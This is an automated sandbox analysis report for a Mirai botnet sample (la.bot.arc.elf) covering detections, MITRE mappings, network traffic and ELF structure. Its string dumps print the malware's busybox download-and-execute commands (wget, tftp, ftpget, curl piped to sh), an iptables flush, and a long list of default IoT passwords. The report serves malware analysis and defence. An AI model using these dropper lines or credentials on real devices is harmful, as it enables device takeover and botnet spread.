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Linux Analysis Report
la.bot.arc.elf

Overview

General Information

Sample name:	la.bot.arc.elf
Analysis ID:	1585728
MD5:	3928bc69d2592cd85d349a1b68d9f552
SHA1:	114523cf101a650d47ff5d1c6cca4d2a7621eeba
SHA256:	1bd6e4f0b1ecd65564065fe8254e01733f9060ee107f2bbe0a123b1393feb73b
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585728
Start date and time:	2025-01-08 05:42:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	la.bot.arc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/la.bot.arc.elf
PID:	6228
Exit Code:	255
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6230, Parent: 4331)

rm (PID: 6230, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.NugJYZfAwD /tmp/tmp.SnIOkAmCjP /tmp/tmp.fu1kx4sLAP

dash New Fork (PID: 6231, Parent: 4331)

rm (PID: 6231, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.NugJYZfAwD /tmp/tmp.SnIOkAmCjP /tmp/tmp.fu1kx4sLAP

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
la.bot.arc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: la.bot.arc.elf

ReversingLabs: Detection: 21%

Source: la.bot.arc.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43

Source: la.bot.arc.elf	String found in binary or memory: http:///curl.sh
Source: la.bot.arc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
Source: Initial sample	String containing 'busybox' found: usage: busybox > >>Pon521rootZte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbin20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busybox
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne upnp/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEekarmarm5arm6arm7mipsmpslppcspcsh4m68k/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/%d.%d.%d.%d%s%s %s %s %s %d %d

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6230)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.NugJYZfAwD /tmp/tmp.SnIOkAmCjP /tmp/tmp.fu1kx4sLAP			Jump to behavior
Source: /usr/bin/dash (PID: 6231)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.NugJYZfAwD /tmp/tmp.SnIOkAmCjP /tmp/tmp.fu1kx4sLAP			Jump to behavior

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

File source: la.bot.arc.elf, type: SAMPLE

Remote Access Functionality

Yara detected Mirai

Source: Yara match

File source: la.bot.arc.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
la.bot.arc.elf	21%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	la.bot.arc.elf	false		high
http:///curl.sh	la.bot.arc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
54.171.230.55	unknown	United States	16509	AMAZON-02US	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54.171.230.55	main_m68k.elf	Get hash	malicious	Mirai	Browse
	sh4.elf	Get hash	malicious	Mirai	Browse
	sparc.elf	Get hash	malicious	Unknown	Browse
	i686.elf	Get hash	malicious	Unknown	Browse
	wind.arm6.elf	Get hash	malicious	Mirai	Browse
	wind.x86.elf	Get hash	malicious	Mirai	Browse
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse
	arm.elf	Get hash	malicious	Mirai	Browse
	nshkarm.elf	Get hash	malicious	Unknown	Browse
	arm7.elf	Get hash	malicious	Unknown	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse
	spc.elf	Get hash	malicious	Mirai	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse
	ppc.elf	Get hash	malicious	Mirai	Browse
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse
91.189.91.42	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse
	spc.elf	Get hash	malicious	Mirai	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse
	ppc.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	spc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	sshd.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	ppc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
CANONICAL-ASGB	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	spc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	sshd.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	ppc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
AMAZON-02US	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	http://plnbl.io/review/VdCYQSoKp54z	Get hash	malicious	HTMLPhisher	Browse	18.245.46.19
	miori.ppc.elf	Get hash	malicious	Unknown	Browse	35.157.62.111
	miori.x86.elf	Get hash	malicious	Unknown	Browse	13.50.244.19
	random.exe	Get hash	malicious	CStealer	Browse	45.112.123.126
	miori.sh4.elf	Get hash	malicious	Unknown	Browse	173.231.89.230
	miori.mpsl.elf	Get hash	malicious	Unknown	Browse	13.114.241.40
	miori.mips.elf	Get hash	malicious	Unknown	Browse	54.181.112.19
	miori.arm.elf	Get hash	malicious	Unknown	Browse	18.190.141.99
	https://link.edgepilot.com/s/692fcd16/rcPy0yXyykq_mRLKroUvRQ?u=https://petroleumalliance.us8.list-manage.com/track/click?u=325f73d29a0b4f85a46b700a9%26id=dfe369da82%26e=94c2db4428	Get hash	malicious	Unknown	Browse	65.9.66.64
INIT7CH	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	spc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	sshd.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	ppc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, Synopsys ARCompact ARC700 cores, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.521709555123778
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	la.bot.arc.elf
File size:	124'324 bytes
MD5:	3928bc69d2592cd85d349a1b68d9f552
SHA1:	114523cf101a650d47ff5d1c6cca4d2a7621eeba
SHA256:	1bd6e4f0b1ecd65564065fe8254e01733f9060ee107f2bbe0a123b1393feb73b
SHA512:	93f5f002d78931bceb6855b053a03f9cb542d11dffa4cf6a50b9b921e0536e0fadf67fc8f043d3da2857116f6db637bfcd39d54708b3e53415fc40849bc9472b
SSDEEP:	3072:h6w67zVgpAWTQvuO1JP//gLNSNAVOnvLq:h8B91ZgptVmq
TLSH:	2AC3AD87B24BAA90C41342F507C74B9D6FA73241CF1BE6D25C5DA23A28BD1DF6C16782
File Content Preview:	.ELF..............].....x...4...t.......4. ...(.................................. .......................~....... ..................................................................Q.td.......................................................................

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x10a78
Flags:	0x403
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	123764
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10114	0x114	0x22	0x0	0x6	AX	1
.text	PROGBITS	0x10138	0x138	0x139cc	0x0	0x6	AX	4
.fini	PROGBITS	0x23b04	0x13b04	0x16	0x0	0x6	AX	1
.rodata	PROGBITS	0x23b1c	0x13b1c	0x9978	0x0	0x2	A	4
.tbss	NOBITS	0x2ffe0	0x1dfe0	0x8	0x0	0x403	WAT	4
.fini_array	FINI_ARRAY	0x2ffe0	0x1dfe0	0x4	0x4	0x3	WA	4
.ctors	PROGBITS	0x2ffe4	0x1dfe4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2ffec	0x1dfec	0x8	0x0	0x3	WA	4
.got	PROGBITS	0x2fff4	0x1dff4	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x30008	0x1e008	0x2d4	0x0	0x3	WA	4
.bss	NOBITS	0x302dc	0x1e2dc	0x7bf8	0x0	0x3	WA	4
.ARC.attributes	<unknown>	0x0	0x1e2dc	0x32	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1e30e	0x65	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x1d494	0x1d494	6.6424	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x1dfe0	0x2ffe0	0x2ffe0	0x2fc	0x7ef4	4.0671	0x6	RW	0x2000	.tbss .fini_array .ctors .dtors .got .data .bss
NOTE	0x0	0x0	0x0	0x0	0x0	0.0000	0x4	R	0x4
TLS	0x1dfe0	0x2ffe0	0x2ffe0	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 05:42:52.108161926 CET	443	33606	54.171.230.55	192.168.2.23
Jan 8, 2025 05:42:52.108459949 CET	33606	443	192.168.2.23	54.171.230.55
Jan 8, 2025 05:42:52.113327980 CET	443	33606	54.171.230.55	192.168.2.23
Jan 8, 2025 05:42:52.987181902 CET	43928	443	192.168.2.23	91.189.91.42
Jan 8, 2025 05:42:58.362585068 CET	42836	443	192.168.2.23	91.189.91.43
Jan 8, 2025 05:43:00.154217005 CET	42516	80	192.168.2.23	109.202.202.202
Jan 8, 2025 05:43:14.232290983 CET	43928	443	192.168.2.23	91.189.91.42
Jan 8, 2025 05:43:24.470810890 CET	42836	443	192.168.2.23	91.189.91.43
Jan 8, 2025 05:43:30.613987923 CET	42516	80	192.168.2.23	109.202.202.202
Jan 8, 2025 05:43:55.186809063 CET	43928	443	192.168.2.23	91.189.91.42
Jan 8, 2025 05:44:15.664015055 CET	42836	443	192.168.2.23	91.189.91.43

System Behavior

Analysis Process: dash PID: 6230, Parent PID: 4331

General

Start time (UTC):	04:42:51
Start date (UTC):	08/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6230, Parent PID: 4331

General

Start time (UTC):	04:42:51
Start date (UTC):	08/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.NugJYZfAwD /tmp/tmp.SnIOkAmCjP /tmp/tmp.fu1kx4sLAP
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: dash PID: 6231, Parent PID: 4331

General

Start time (UTC):	04:42:51
Start date (UTC):	08/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6231, Parent PID: 4331

General

Start time (UTC):	04:42:51
Start date (UTC):	08/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.NugJYZfAwD /tmp/tmp.SnIOkAmCjP /tmp/tmp.fu1kx4sLAP
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report la.bot.arc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: dash PID: 6230, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6230, Parent PID: 4331

General

Chronological Activities

Analysis Process: dash PID: 6231, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6231, Parent PID: 4331

General

Chronological Activities

Linux Analysis Report
la.bot.arc.elf